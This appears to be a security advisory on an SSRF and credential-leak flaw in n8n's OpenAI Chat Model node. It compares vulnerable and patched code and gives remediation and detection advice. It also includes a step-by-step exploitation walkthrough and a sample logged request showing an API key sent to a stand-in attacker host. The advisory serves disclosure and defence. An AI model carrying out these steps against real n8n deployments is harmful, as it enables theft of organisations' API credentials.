CVE-2026-86082: Server-Side Request Forgery and Credential Leakage in n8n OpenAI Chat Model Node

The vulnerability designated as CVE-2026-86082 (GHSA-34ff-336r-5q23) is a severe credential exfiltration and server-side request forgery (SSRF) flaw in the core architecture of the n8n workflow automation engine. The platform is designed to execute multi-node integrations, often linking high-privilege third-party APIs (such as OpenAI, AWS, and Slack) into customized logical sequences. Because these nodes regularly utilize sensitive API keys and access tokens, n8n incorporates robust internal credential-storage and validation modules to restrict data access.\n\nIn n8n, credentials can be assigned restricted operational policies, including "Allowed Domains" restrictions. This function ensures that even if lower-privileged users, like Workflow Editors, can configure workflows using these shared credentials, they are strictly prevented from redirecting the authentication payloads to malicious or unvetted hosts. Under normal conditions, anytime a node executes a task or interacts with an external service, the platform invokes runtime validators to verify the target domain.\n\nHowever, a critical security discrepancy was discovered in the OpenAI Chat Model node within the n8n Langchain ecosystem. The endpoint designed to dynamically search and list available OpenAI chat models did not execute validation checks. This gap in security controls exposed an direct out-of-band exfiltration vector. An authenticated attacker possessing only Workflow Editor privileges can manipulate node configuration fields to bypass credential restriction controls and route decrypted, plaintext API keys directly to an attacker-controlled external host.

To fully comprehend the root cause of CVE-2026-86082, one must analyze how n8n manages dynamic user interface elements. When a user is configuring nodes in the n8n visual editor, the web UI dynamically queries the backend to populate configuration helpers, such as model selection dropdown menus. These queries are routed through internal endpoint handlers on the backend server that fetch metadata from the respective third-party service provider on behalf of the client.\n\nIn the OpenAI Chat Model integration, this dynamic query behavior is governed by the searchModels function located in the source file packages/@n8n/nodes-langchain/nodes/llms/LMChatOpenAi/methods/loadModels.ts. Within this component, n8n permits users to define a custom base URL override via the advanced configuration option options.baseURL. This override accommodates scenarios where organizations route their OpenAI API requests through internal corporate proxies, specialized reverse proxies, or local mock environments.\n\nPrior to the application of the official security patch, the searchModels function retrieved the stored openAiApi credentials and processed the options.baseURL property directly from the user's interface input. The implementation failed to execute any domain-restriction logic or security assertions on the value of options.baseURL. The function immediately routed the decrypted credentials, including the raw API key and custom header metadata, to the unvalidated host specified in the baseURL property.\n\nBy omitting the verification steps, the backend server initiated a direct outbound HTTP client request to the attacker's arbitrary destination. Because the backend environment is responsible for decrypting the credentials and establishing the outbound connection, the attacker is able to intercept the raw API keys in transit on their custom server, effectively neutralizing the safety constraints implemented in the core credential management framework.

A thorough comparative review of the vulnerable and patched source code paths illustrates how the vulnerability was introduced and subsequently mitigated. In the vulnerable version of loadModels.ts, the searchModels method processed user parameters and credential values without performing defensive validation, as shown in the following source code block:\n\ntypescript\n// VULNERABLE CODE PATH\nexport async function searchModels(\n\tthis: ILoadOptionsFunctions,\n\tfilter?: string,\n): Promise<INodeListSearchResult> {\n\tconst credentials = await this.getCredentials('openAiApi');\n\tconst baseUrlOverride = this.getNodeParameter('options.baseURL', '') as string;\n \n\t// OMISSION: No verification of baseUrlOverride against credential restrictions\n\tconst baseURL = baseUrlOverride || (credentials.url as string) || 'https://api.openai.com/v1';\n\tconst { openAiDefaultHeaders } = Container.get(AiConfig);\n\tconst lookup = this.helpers.getSecureEgressFilter().createSecureLookup();\n\tconst headers = mergeCustomHeaders(credentials, openAiDefaultHeaders ?? {});\n\n\t// Outbound request carries plaintext apiKey to the unvalidated baseURL\n\tconst models = await listOpenAiModels({\n\t\tapiKey: credentials.apiKey as string,\n\t\tbaseURL,\n\t\theaders,\n\t\tfetch: async (input, init) => await proxyFetch({ input, init, lookup }),\n\t});\n\t// ...\n}\n\n\nTo resolve this vulnerability, n8n-io engineers integrated the security utility assertOpenAiCredentialAllowsUrl within the searchModels function. This utility explicitly verifies the baseUrlOverride value before any HTTP requests are scheduled, throwing a validation error and halting execution if the domain is unauthorized. The patched code is structured as follows:\n\ntypescript\n// PATCHED CODE PATH\nimport { assertOpenAiCredentialAllowsUrl } from '../../../vendors/OpenAi/helpers/credentials';\n\nexport async function searchModels(\n\tthis: ILoadOptionsFunctions,\n\tfilter?: string,\n): Promise<INodeListSearchResult> {\n\tconst credentials = await this.getCredentials('openAiApi');\n\tconst baseUrlOverride = this.getNodeParameter('options.baseURL', '') as string;\n \n\t// PATCH: Asserts that the credentials explicitly allow the overridden URL\n\tif (baseUrlOverride) {\n\t\tassertOpenAiCredentialAllowsUrl(this.getNode(), credentials, baseUrlOverride);\n\t}\n \n\tconst baseURL = baseUrlOverride || (credentials.url as string) || 'https://api.openai.com/v1';\n\tconst { openAiDefaultHeaders } = Container.get(AiConfig);\n\tconst lookup = this.helpers.getSecureEgressFilter().createSecureLookup();\n\tconst headers = mergeCustomHeaders(credentials, openAiDefaultHeaders ?? {});\n\n\tconst models = await listOpenAiModels({\n\t\tapiKey: credentials.apiKey as string,\n\t\tbaseURL,\n\t\theaders,\n\t\tfetch: async (input, init) => await proxyFetch({ input, init, lookup }),\n\t});\n\t// ...\n}\n\n\nThe assertion utility assertOpenAiCredentialAllowsUrl is defined in packages/@n8n/nodes-langchain/nodes/vendors/OpenAi/helpers/credentials.ts. It invokes assertCredentialAllowsUrl from the core framework to ensure the user-defined domain matches either the default OpenAI endpoint or the domain specified on the credential, offering comprehensive coverage against the exfiltration vector.

Exploitation of CVE-2026-86082 relies on access to the n8n application UI with a minimum permission level of Workflow Editor. The attacker must first set up a public-facing web listener, such as a cloud virtual machine running a basic netcat process or a webhook logging platform, capable of capturing raw incoming HTTP connection details.\n\nOnce the listener is active, the attacker logs into the targeted n8n dashboard and adds an OpenAI Chat Model node to any active workflow canvas. The attacker selects a shared OpenAI credential configured in the workspace, which may have been locked down with domain restrictions to prevent abuse. By enabling the custom Base URL parameter (options.baseURL) and setting it to point directly to their external logging service, the attacker configures the payload target.\n\nTo execute the exploit, the attacker triggers the dropdown search for models within the UI. The backend immediately processes the request, decrypts the OpenAI API token, bypasses the domain validation, and makes a server-to-server request. An example of the incoming request logged on the attacker's server illustrates the plaintext leak of the API key:\n\nhttp\nGET /models HTTP/1.1\nHost: attacker-controlled-host.com\nAuthorization: Bearer sk-proj-ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\nUser-Agent: axios/1.x\nAccept: application/json, text/plain, */*\nConnection: close\n\n\nmermaid\ngraph LR\n Attacker["Attacker (Workflow Editor)"] -->|1. Configures baseURL Override| UI["n8n UI Node Editor"]\n Attacker -->|2. Triggers Model Selection| UI\n UI -->|3. POST /api/v1/nodes/node-type-search/options| Backend["n8n Backend Server"]\n Backend -->|4. Decrypts OpenAI Credential| Backend\n Backend -->|5. Skips Domain Verification Checks| Backend\n Backend -->|6. Outbound HTTP GET with plain API Key| Listener["Attacker HTTP Listener"]\n\n\nBecause the request originates directly from the n8n host server, it bypasses network constraints that would otherwise block the client-side system from communicating directly with unknown hosts, maximizing the reliability of the exfiltration.

The security impact of CVE-2026-86082 is significant because it directly exposes high-value credentials that are designed to be kept securely isolated. In typical deployment architectures, OpenAI API keys are linked to organizational developer accounts containing financial backing and potentially access to proprietary or sensitive model configurations. Exposure of these keys gives attackers immediate access to the organization's LLM budget, enabling resource exhaustion and financial theft.\n\nFurthermore, depending on the scope of the exposed OpenAI API key, an attacker may be able to read fine-tuned models, download corporate dataset files stored within the OpenAI workspace, or poison training pipelines. Because the platform executes workflows on a server-side basis, the outbound SSRF request also allows the attacker to conduct internal network mapping or interact with local services running within the target network that are inaccessible from the external internet.\n\nUnder the CVSS v4.0 evaluation framework, the vulnerability achieves a Base Score of 7.1. The attack vector is Network, complexity is Low, and the privileges required are Low, as any user with workflow configuration capabilities can leverage the flaw. Because the system's confidentiality is completely compromised with respect to the configured credential, the vulnerability represents a notable risk for organizations with distributed or multi-tenant n8n installations.

The primary remediation method is to upgrade the n8n platform to one of the patched releases. The vendor has addressed the vulnerability in multiple version streams to accommodate different deployment lifecycles. Organizations must transition to version 1.123.76, 2.37.7, or 2.38.2 or higher.\n\nIf upgrading cannot be completed immediately, organizations should implement strict egress firewall policies at the network level. Restrict outbound traffic from the n8n application host or container, permitting connections only to authorized domains such as api.openai.com and other validated automation partners. Any connection attempts to arbitrary external IP addresses or domains on port 80 or 443 should be blocked and logged for security review.\n\nAdditionally, security teams should implement detection mechanisms to identify potential exploitation attempts. Monitor application access logs for endpoint calls to /api/v1/nodes/node-type-search/options and cross-reference them with changes to workflow configurations containing custom base URLs. If unauthorized base URL overrides are discovered, the associated OpenAI credentials should be revoked immediately in the OpenAI API portal and replaced with fresh tokens after applying the system update.